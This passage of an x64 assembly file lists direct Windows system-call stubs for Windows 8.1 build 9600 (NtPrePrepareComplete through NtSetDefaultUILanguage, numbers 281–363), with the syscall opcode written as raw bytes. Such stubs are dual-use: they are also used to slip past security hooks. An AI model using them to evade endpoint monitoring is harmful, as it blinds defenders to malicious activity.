;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtPrePrepareComplete ENDP
; ULONG64 __stdcall NtPrePrepareEnlistment( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtPrePrepareEnlistment PROC STDCALL
mov r10 , rcx
mov eax , 281
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtPrePrepareEnlistment ENDP
; ULONG64 __stdcall NtPrepareComplete( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtPrepareComplete PROC STDCALL
mov r10 , rcx
mov eax , 282
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtPrepareComplete ENDP
; ULONG64 __stdcall NtPrepareEnlistment( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtPrepareEnlistment PROC STDCALL
mov r10 , rcx
mov eax , 283
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtPrepareEnlistment ENDP
; ULONG64 __stdcall NtPrivilegeCheck( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtPrivilegeCheck PROC STDCALL
mov r10 , rcx
mov eax , 284
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtPrivilegeCheck ENDP
; ULONG64 __stdcall NtPrivilegeObjectAuditAlarm( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtPrivilegeObjectAuditAlarm PROC STDCALL
mov r10 , rcx
mov eax , 285
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtPrivilegeObjectAuditAlarm ENDP
; ULONG64 __stdcall NtPrivilegedServiceAuditAlarm( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtPrivilegedServiceAuditAlarm PROC STDCALL
mov r10 , rcx
mov eax , 286
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtPrivilegedServiceAuditAlarm ENDP
; ULONG64 __stdcall NtPropagationComplete( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtPropagationComplete PROC STDCALL
mov r10 , rcx
mov eax , 287
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtPropagationComplete ENDP
; ULONG64 __stdcall NtPropagationFailed( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtPropagationFailed PROC STDCALL
mov r10 , rcx
mov eax , 288
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtPropagationFailed ENDP
; ULONG64 __stdcall NtPulseEvent( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtPulseEvent PROC STDCALL
mov r10 , rcx
mov eax , 289
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtPulseEvent ENDP
; ULONG64 __stdcall NtQueryBootEntryOrder( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtQueryBootEntryOrder PROC STDCALL
mov r10 , rcx
mov eax , 290
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryBootEntryOrder ENDP
; ULONG64 __stdcall NtQueryBootOptions( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtQueryBootOptions PROC STDCALL
mov r10 , rcx
mov eax , 291
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryBootOptions ENDP
; ULONG64 __stdcall NtQueryDebugFilterState( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtQueryDebugFilterState PROC STDCALL
mov r10 , rcx
mov eax , 292
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryDebugFilterState ENDP
; ULONG64 __stdcall NtQueryDirectoryObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 );
_6_3_9600_sp0_windows_8_1_NtQueryDirectoryObject PROC STDCALL
mov r10 , rcx
mov eax , 293
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryDirectoryObject ENDP
; ULONG64 __stdcall NtQueryDriverEntryOrder( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtQueryDriverEntryOrder PROC STDCALL
mov r10 , rcx
mov eax , 294
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryDriverEntryOrder ENDP
; ULONG64 __stdcall NtQueryEaFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 );
_6_3_9600_sp0_windows_8_1_NtQueryEaFile PROC STDCALL
mov r10 , rcx
mov eax , 295
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryEaFile ENDP
; ULONG64 __stdcall NtQueryFullAttributesFile( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtQueryFullAttributesFile PROC STDCALL
mov r10 , rcx
mov eax , 296
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryFullAttributesFile ENDP
; ULONG64 __stdcall NtQueryInformationAtom( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtQueryInformationAtom PROC STDCALL
mov r10 , rcx
mov eax , 297
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryInformationAtom ENDP
; ULONG64 __stdcall NtQueryInformationEnlistment( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtQueryInformationEnlistment PROC STDCALL
mov r10 , rcx
mov eax , 298
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryInformationEnlistment ENDP
; ULONG64 __stdcall NtQueryInformationJobObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtQueryInformationJobObject PROC STDCALL
mov r10 , rcx
mov eax , 299
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryInformationJobObject ENDP
; ULONG64 __stdcall NtQueryInformationPort( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtQueryInformationPort PROC STDCALL
mov r10 , rcx
mov eax , 300
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryInformationPort ENDP
; ULONG64 __stdcall NtQueryInformationResourceManager( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtQueryInformationResourceManager PROC STDCALL
mov r10 , rcx
mov eax , 301
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryInformationResourceManager ENDP
; ULONG64 __stdcall NtQueryInformationTransaction( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtQueryInformationTransaction PROC STDCALL
mov r10 , rcx
mov eax , 302
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryInformationTransaction ENDP
; ULONG64 __stdcall NtQueryInformationTransactionManager( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtQueryInformationTransactionManager PROC STDCALL
mov r10 , rcx
mov eax , 303
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryInformationTransactionManager ENDP
; ULONG64 __stdcall NtQueryInformationWorkerFactory( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtQueryInformationWorkerFactory PROC STDCALL
mov r10 , rcx
mov eax , 304
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryInformationWorkerFactory ENDP
; ULONG64 __stdcall NtQueryInstallUILanguage( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtQueryInstallUILanguage PROC STDCALL
mov r10 , rcx
mov eax , 305
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryInstallUILanguage ENDP
; ULONG64 __stdcall NtQueryIntervalProfile( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtQueryIntervalProfile PROC STDCALL
mov r10 , rcx
mov eax , 306
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryIntervalProfile ENDP
; ULONG64 __stdcall NtQueryIoCompletion( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtQueryIoCompletion PROC STDCALL
mov r10 , rcx
mov eax , 307
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryIoCompletion ENDP
; ULONG64 __stdcall NtQueryLicenseValue( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtQueryLicenseValue PROC STDCALL
mov r10 , rcx
mov eax , 308
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryLicenseValue ENDP
; ULONG64 __stdcall NtQueryMultipleValueKey( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtQueryMultipleValueKey PROC STDCALL
mov r10 , rcx
mov eax , 309
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryMultipleValueKey ENDP
; ULONG64 __stdcall NtQueryMutant( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtQueryMutant PROC STDCALL
mov r10 , rcx
mov eax , 310
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryMutant ENDP
; ULONG64 __stdcall NtQueryOpenSubKeys( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtQueryOpenSubKeys PROC STDCALL
mov r10 , rcx
mov eax , 311
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryOpenSubKeys ENDP
; ULONG64 __stdcall NtQueryOpenSubKeysEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtQueryOpenSubKeysEx PROC STDCALL
mov r10 , rcx
mov eax , 312
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryOpenSubKeysEx ENDP
; ULONG64 __stdcall NtQueryPortInformationProcess( );
_6_3_9600_sp0_windows_8_1_NtQueryPortInformationProcess PROC STDCALL
mov r10 , rcx
mov eax , 313
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryPortInformationProcess ENDP
; ULONG64 __stdcall NtQueryQuotaInformationFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 );
_6_3_9600_sp0_windows_8_1_NtQueryQuotaInformationFile PROC STDCALL
mov r10 , rcx
mov eax , 314
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryQuotaInformationFile ENDP
; ULONG64 __stdcall NtQuerySecurityAttributesToken( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtQuerySecurityAttributesToken PROC STDCALL
mov r10 , rcx
mov eax , 315
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQuerySecurityAttributesToken ENDP
; ULONG64 __stdcall NtQuerySecurityObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtQuerySecurityObject PROC STDCALL
mov r10 , rcx
mov eax , 316
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQuerySecurityObject ENDP
; ULONG64 __stdcall NtQuerySemaphore( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtQuerySemaphore PROC STDCALL
mov r10 , rcx
mov eax , 317
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQuerySemaphore ENDP
; ULONG64 __stdcall NtQuerySymbolicLinkObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtQuerySymbolicLinkObject PROC STDCALL
mov r10 , rcx
mov eax , 318
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQuerySymbolicLinkObject ENDP
; ULONG64 __stdcall NtQuerySystemEnvironmentValue( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtQuerySystemEnvironmentValue PROC STDCALL
mov r10 , rcx
mov eax , 319
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQuerySystemEnvironmentValue ENDP
; ULONG64 __stdcall NtQuerySystemEnvironmentValueEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtQuerySystemEnvironmentValueEx PROC STDCALL
mov r10 , rcx
mov eax , 320
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQuerySystemEnvironmentValueEx ENDP
; ULONG64 __stdcall NtQuerySystemInformationEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtQuerySystemInformationEx PROC STDCALL
mov r10 , rcx
mov eax , 321
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQuerySystemInformationEx ENDP
; ULONG64 __stdcall NtQueryTimerResolution( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtQueryTimerResolution PROC STDCALL
mov r10 , rcx
mov eax , 322
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryTimerResolution ENDP
; ULONG64 __stdcall NtQueryWnfStateData( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtQueryWnfStateData PROC STDCALL
mov r10 , rcx
mov eax , 323
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryWnfStateData ENDP
; ULONG64 __stdcall NtQueryWnfStateNameInformation( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtQueryWnfStateNameInformation PROC STDCALL
mov r10 , rcx
mov eax , 324
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryWnfStateNameInformation ENDP
; ULONG64 __stdcall NtQueueApcThreadEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtQueueApcThreadEx PROC STDCALL
mov r10 , rcx
mov eax , 325
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueueApcThreadEx ENDP
; ULONG64 __stdcall NtRaiseException( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtRaiseException PROC STDCALL
mov r10 , rcx
mov eax , 326
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtRaiseException ENDP
; ULONG64 __stdcall NtRaiseHardError( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtRaiseHardError PROC STDCALL
mov r10 , rcx
mov eax , 327
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtRaiseHardError ENDP
; ULONG64 __stdcall NtReadOnlyEnlistment( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtReadOnlyEnlistment PROC STDCALL
mov r10 , rcx
mov eax , 328
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtReadOnlyEnlistment ENDP
; ULONG64 __stdcall NtRecoverEnlistment( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtRecoverEnlistment PROC STDCALL
mov r10 , rcx
mov eax , 329
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtRecoverEnlistment ENDP
; ULONG64 __stdcall NtRecoverResourceManager( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtRecoverResourceManager PROC STDCALL
mov r10 , rcx
mov eax , 330
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtRecoverResourceManager ENDP
; ULONG64 __stdcall NtRecoverTransactionManager( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtRecoverTransactionManager PROC STDCALL
mov r10 , rcx
mov eax , 331
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtRecoverTransactionManager ENDP
; ULONG64 __stdcall NtRegisterProtocolAddressInformation( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtRegisterProtocolAddressInformation PROC STDCALL
mov r10 , rcx
mov eax , 332
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtRegisterProtocolAddressInformation ENDP
; ULONG64 __stdcall NtRegisterThreadTerminatePort( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtRegisterThreadTerminatePort PROC STDCALL
mov r10 , rcx
mov eax , 333
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtRegisterThreadTerminatePort ENDP
; ULONG64 __stdcall NtReleaseKeyedEvent( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtReleaseKeyedEvent PROC STDCALL
mov r10 , rcx
mov eax , 334
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtReleaseKeyedEvent ENDP
; ULONG64 __stdcall NtReleaseWorkerFactoryWorker( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtReleaseWorkerFactoryWorker PROC STDCALL
mov r10 , rcx
mov eax , 335
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtReleaseWorkerFactoryWorker ENDP
; ULONG64 __stdcall NtRemoveIoCompletionEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtRemoveIoCompletionEx PROC STDCALL
mov r10 , rcx
mov eax , 336
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtRemoveIoCompletionEx ENDP
; ULONG64 __stdcall NtRemoveProcessDebug( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtRemoveProcessDebug PROC STDCALL
mov r10 , rcx
mov eax , 337
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtRemoveProcessDebug ENDP
; ULONG64 __stdcall NtRenameKey( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtRenameKey PROC STDCALL
mov r10 , rcx
mov eax , 338
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtRenameKey ENDP
; ULONG64 __stdcall NtRenameTransactionManager( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtRenameTransactionManager PROC STDCALL
mov r10 , rcx
mov eax , 339
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtRenameTransactionManager ENDP
; ULONG64 __stdcall NtReplaceKey( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtReplaceKey PROC STDCALL
mov r10 , rcx
mov eax , 340
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtReplaceKey ENDP
; ULONG64 __stdcall NtReplacePartitionUnit( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtReplacePartitionUnit PROC STDCALL
mov r10 , rcx
mov eax , 341
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtReplacePartitionUnit ENDP
; ULONG64 __stdcall NtReplyWaitReplyPort( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtReplyWaitReplyPort PROC STDCALL
mov r10 , rcx
mov eax , 342
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtReplyWaitReplyPort ENDP
; ULONG64 __stdcall NtRequestPort( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtRequestPort PROC STDCALL
mov r10 , rcx
mov eax , 343
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtRequestPort ENDP
; ULONG64 __stdcall NtResetEvent( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtResetEvent PROC STDCALL
mov r10 , rcx
mov eax , 344
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtResetEvent ENDP
; ULONG64 __stdcall NtResetWriteWatch( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtResetWriteWatch PROC STDCALL
mov r10 , rcx
mov eax , 345
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtResetWriteWatch ENDP
; ULONG64 __stdcall NtRestoreKey( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtRestoreKey PROC STDCALL
mov r10 , rcx
mov eax , 346
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtRestoreKey ENDP
; ULONG64 __stdcall NtResumeProcess( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtResumeProcess PROC STDCALL
mov r10 , rcx
mov eax , 347
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtResumeProcess ENDP
; ULONG64 __stdcall NtRollbackComplete( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtRollbackComplete PROC STDCALL
mov r10 , rcx
mov eax , 348
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtRollbackComplete ENDP
; ULONG64 __stdcall NtRollbackEnlistment( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtRollbackEnlistment PROC STDCALL
mov r10 , rcx
mov eax , 349
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtRollbackEnlistment ENDP
; ULONG64 __stdcall NtRollbackTransaction( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtRollbackTransaction PROC STDCALL
mov r10 , rcx
mov eax , 350
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtRollbackTransaction ENDP
; ULONG64 __stdcall NtRollforwardTransactionManager( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtRollforwardTransactionManager PROC STDCALL
mov r10 , rcx
mov eax , 351
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtRollforwardTransactionManager ENDP
; ULONG64 __stdcall NtSaveKey( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtSaveKey PROC STDCALL
mov r10 , rcx
mov eax , 352
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSaveKey ENDP
; ULONG64 __stdcall NtSaveKeyEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtSaveKeyEx PROC STDCALL
mov r10 , rcx
mov eax , 353
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSaveKeyEx ENDP
; ULONG64 __stdcall NtSaveMergedKeys( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtSaveMergedKeys PROC STDCALL
mov r10 , rcx
mov eax , 354
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSaveMergedKeys ENDP
; ULONG64 __stdcall NtSecureConnectPort( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 );
_6_3_9600_sp0_windows_8_1_NtSecureConnectPort PROC STDCALL
mov r10 , rcx
mov eax , 355
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSecureConnectPort ENDP
; ULONG64 __stdcall NtSerializeBoot( );
_6_3_9600_sp0_windows_8_1_NtSerializeBoot PROC STDCALL
mov r10 , rcx
mov eax , 356
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSerializeBoot ENDP
; ULONG64 __stdcall NtSetBootEntryOrder( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtSetBootEntryOrder PROC STDCALL
mov r10 , rcx
mov eax , 357
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetBootEntryOrder ENDP
; ULONG64 __stdcall NtSetBootOptions( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtSetBootOptions PROC STDCALL
mov r10 , rcx
mov eax , 358
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetBootOptions ENDP
; ULONG64 __stdcall NtSetCachedSigningLevel( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtSetCachedSigningLevel PROC STDCALL
mov r10 , rcx
mov eax , 359
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetCachedSigningLevel ENDP
; ULONG64 __stdcall NtSetContextThread( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtSetContextThread PROC STDCALL
mov r10 , rcx
mov eax , 360
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetContextThread ENDP
; ULONG64 __stdcall NtSetDebugFilterState( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtSetDebugFilterState PROC STDCALL
mov r10 , rcx
mov eax , 361
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetDebugFilterState ENDP
; ULONG64 __stdcall NtSetDefaultHardErrorPort( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtSetDefaultHardErrorPort PROC STDCALL
mov r10 , rcx
mov eax , 362
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetDefaultHardErrorPort ENDP
; ULONG64 __stdcall NtSetDefaultLocale( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtSetDefaultLocale PROC STDCALL
mov r10 , rcx
mov eax , 363
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetDefaultLocale ENDP
; ULONG64 __stdcall NtSetDefaultUILanguage( ULONG64 arg_01 );
